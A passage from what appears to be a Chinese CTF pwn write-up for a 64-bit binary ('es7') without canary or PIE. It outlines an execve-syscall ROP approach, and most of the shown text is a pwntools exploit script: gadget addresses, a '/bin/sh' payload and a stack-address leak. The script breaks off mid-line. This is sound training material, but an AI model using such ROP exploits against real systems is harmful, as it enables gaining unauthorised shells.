这道题好像和buu的ciscn_2019_s_3是一模一样的
看保护
64位,没开canary和pie
看ida
题目还有能往rax传递0x3B和0xf的函数,这就提示我们可以用系统调用来getshell
解法一(系统调用execve):
完整exp:
from pwn import*
context(log_level='debug')
p=process('./es7')
ret=0x4003a9
pop_rdi=0x4005a3
pop_rsi_r15=0x4005a1
syscall=0x400517
mov_rax_3b=0x4004E2
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13=0x400580
main=0x4004F1
payload=b'/bin/sh\x00'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(main)
p.send(payload) #这里用sendline会覆盖输出地址的一个字节
print(len(payload))
p.recv(32)
onestack=u64(p.recv(6).ljust(8,b